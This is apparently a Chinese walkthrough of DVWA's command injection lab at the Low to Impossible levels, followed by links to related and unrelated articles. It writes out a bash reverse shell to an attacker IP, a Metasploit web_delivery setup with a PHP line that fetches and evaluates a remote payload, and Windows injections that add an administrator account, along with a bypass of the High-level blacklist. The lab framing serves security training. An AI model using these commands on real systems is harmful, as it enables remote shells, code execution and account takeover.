DVWA Command Injection(命令注入)全等级
Command Injection(命令注入)
逻辑运算符“&”和“|”的意思
&&:代表首先执行命令a在执行命令b,但是前提条件是命令a执行正确才会执行命令b,在a执行失败的情况下不会执行b命令。所以又被称为短路运算符。
&:代表首先执行命令a在执行命令b,如果a执行失败,还是会继续执行命令b。也就是说命令b的执行不会受到命令a的干扰,在执行效率上来说“&&”更加高效。
||:代表首先执行a命令在执行b命令,如果a命令执行成功,就不会执行b命令,相反,如果a命令执行不成功,就会执行b命令。
|:代表首先执行a命令,在执行b命令,不管a命令成功与否,都会去执行b命令。
命令注入即通过在原本输入框中拼接系统命令的方式,在服务器上执行对应的指令。
在存在执行系统命令的函数,如php中的system、exec、shell_exec等,用户可以传入命令的参数的时候,将恶意的命令拼接其中,就可以造成命令注入攻击。
1. Low
没有做过滤,由于靶机是Linux,所以拼接逻辑运算符 | 可以执行Linux命令
例如:


利用
1.nc反弹shell
进入kali,在命令行输入nc -lvp 1234监听本地1234端口

在DVWA上输入
127.0.0.1 | bash -i >& /dev/tcp/192.168.171.20/1234 0>&1
bash反弹:首先攻击机监听指定端口,然后靶机执行bash命令向靶机指定端口发送连接请求
bash -i意为创建一个交互式的bash shell
&>意为将标准输出和标准错误都重定向到我们指定的文件中
其中192.168.171.20为 攻击机kali

返回kali发现反弹shell成功

2.msf上马
Kali输入msfconsole进入msf平台
输入如下命令
use exploit/multi/script/web_delivery //加载Webshell模块
set target PHP //选择PHP做WebShell
set payload php/meterpreter/reverse_tcp //设置后门代码为php/meterpreter/reverse_tcp
set lhost 192.168.171.20 //设置本地主机地址
然后输入run或者exploit运行

把显示的php命令复制
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.171.20:8080/bNGqlYgWB', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

然后msf已经连接靶机,建立了session
输入sessions 1连接靶机
输入shell进入命令行

2.Medium
做了基础过滤
&& 和 ; 被过滤成了空
还是可以用&、|、|| 等命令注入
其实过滤并没有啥用
操作和Low一样
3. High
本等级靶机ip为192.168.171.8
源码关键代码:
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
通过源码可以看到过滤掉了 & ; | - $ ) ) ` ||
发现过滤的其实是| 即|加上空格,而单独的|没有被过滤,所以还可以进行命令注入
因为Linux环境暂时没有好的绕过思路,所以High等级的环境用windows系统测试
在dvwa输入如下语句127.0.0.1|net user test passwd /add
该语句的意思是建立一个用户名为test,密码为passwd的账号

然后输入如下语句127.0.0.1|net localgroup Administrators test /add
该语句的意思是将用户test加入到管理员组里,让他有管理员权限

然后打开远程桌面连接,输入ip地址和之前新建的的用户名和密码进入靶机系统



可以看到已经成功进入靶机的系统了。
4.Impossible
从逻辑上改了,将IP切割为四个部分,且都为数字。
加了token ,ip根据点做了切割,做了四个数,判断他们是否数字。如果不是就输出ERROR。
可以看到,本等级只允许非常严格的输入。 如果不匹配并且没有产生特定结果,则将不允许执行它。 相比于前面2个等级的“黑名单”过滤(允许任何输入并删除不需要的内容),使用“白名单”(仅允许输入ip地址)更加安全。
DVWA Command Injection(命令注入)全等级的更多相关文章
- Fortify Audit Workbench 笔记 Command Injection(命令注入)
Command Injection(命令注入) Abstract 执行不可信赖资源中的命令,或在不可信赖的环境中执行命令,都会导致程序以攻击者的名义执行恶意命令. Explanation Comman ...
- DVWA靶场练习-Command Injection命令注入
Command Injection 原理 攻击者通过构造恶意参数,破坏命令的语句结构,从而达到执行恶意命令的目的.
- command injection命令注入
命令注入 是指程序中有调用系统命令的部分,例如输入ip,程序调用系统命令ping这个ip.如果在ip后面加一个&&.&.|.||命令拼接符号再跟上自己需要执行的系统命令 在pi ...
- 安全性测试入门:DVWA系列研究(二):Command Injection命令行注入攻击和防御
本篇继续对于安全性测试话题,结合DVWA进行研习. Command Injection:命令注入攻击. 1. Command Injection命令注入 命令注入是通过在应用中执行宿主操作系统的命令, ...
- DVWA-对Command Injection(命令注入)的简单演示与分析
前言 上一篇文章中,对命令注入进行了简单的分析,有兴趣的可以去看一看,文章地址 https://www.cnblogs.com/lxfweb/p/12828754.html,今天这篇文章以DVWA的C ...
- DVWA Command Injection 通关教程
Command Injection 介绍 命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻 ...
- DVWA之Command injection(命令执行漏洞)
目录 Low Medium Middle Impossible 命令执行漏洞的原理:在操作系统中, & .&& .| . || 都可以作为命令连接符使用,用户通过浏览器 ...
- DVWA Command Injection 解析
命令注入,即 Command Injection.是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的. 在Web应用中,有时候会用到一些命令执行的函数,如php中system.ex ...
- (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析
一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...
- PHP代码审计之命令注入
命令注入 命令注入就是通过利用无验证变量构造特殊语句对服务器进行渗透. 注入的种类有很多,而不仅仅是SQL Injection. php常见注入有以下几种(常见:,常见!!): 命令注入 (Comma ...
随机推荐
- 「codechef - STRQUER」Strange Queries
link. 首先对原序列排序,考虑静态序列做法为:设 \(f(n,k\in\{0,1\})\) 为对于前 \(n\) 个数,第 \(n\) 个数否 / 是已经决策完毕的最优方案,转移即 \[\begi ...
- Redis系列24:Redis使用规范
Redis系列1:深刻理解高性能Redis的本质 Redis系列2:数据持久化提高可用性 Redis系列3:高可用之主从架构 Redis系列4:高可用之Sentinel(哨兵模式) Redis系列5: ...
- ARM开发板学习
ARM开发板学习 1.蜂鸣器配饰和时间函数开发 #include <stdio.h> #include <wiringPi.h> #include <unistd.h&g ...
- 背景图片随机API
在美化博客园的时候,遇到了一个问题:博客背景图片只支持一张图片,看到有道友说可以用API随机图片. 于是就有了这篇文章. 本文主要整理了一些随机图片API,希望对你有帮助. 岁月小筑 https:// ...
- 如何使用Java创建数据透视表并导出为PDF
摘要:本文由葡萄城技术团队原创并首发.转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者. 前言 数据透视分析是一种强大的工具,可以帮助我们从大量数据中提取有用信 ...
- FFMPEG+SDL简单视频播放器——视频快进
之前写过一篇关于视频播放器的文章.播放器只简单实现了视频播放的功能,在此功能的基础上,给它加上一个视频快进的功能. 实现 添加参数 // video play control bool do_seek ...
- 我们又组织了一次欧洲最大开源社区活动,Hugging Face 博客欢迎社区成员发帖、Hugging Chat 功能更新!
每一周,我们的同事都会向社区的成员们发布一些关于 Hugging Face 相关的更新,包括我们的产品和平台更新.社区活动.学习资源和内容更新.开源库和模型更新等,我们将其称之为「Hugging Ne ...
- JVM 学习
目录 1. 类加载器及类加载过程 1.1 基本流程 1.2 类加载器子系统作用 1.3 类加载器角色 1.4 加载过程 (1) 加载 loading (2) 链接 linking 验证 verify ...
- CF B. Gardener and the Array
B. Gardener and the Array 思路:只要找到一个c他的每一位均在除了它的集合中出现过即可 这题T了2发,用来multiset,注意multiset大的时间复杂度是O(K + lo ...
- Odoo—货运管理—odoo时差问题
第一次踩odoo时差的坑,才知道原来odoo在存储日期数据时,是以UTC0时区存放的,和北京时间相差8个小时.只是odoo本身能很好的处理日期数据的存储和展示,所以刚开始接触odoo,不容易发现这个问 ...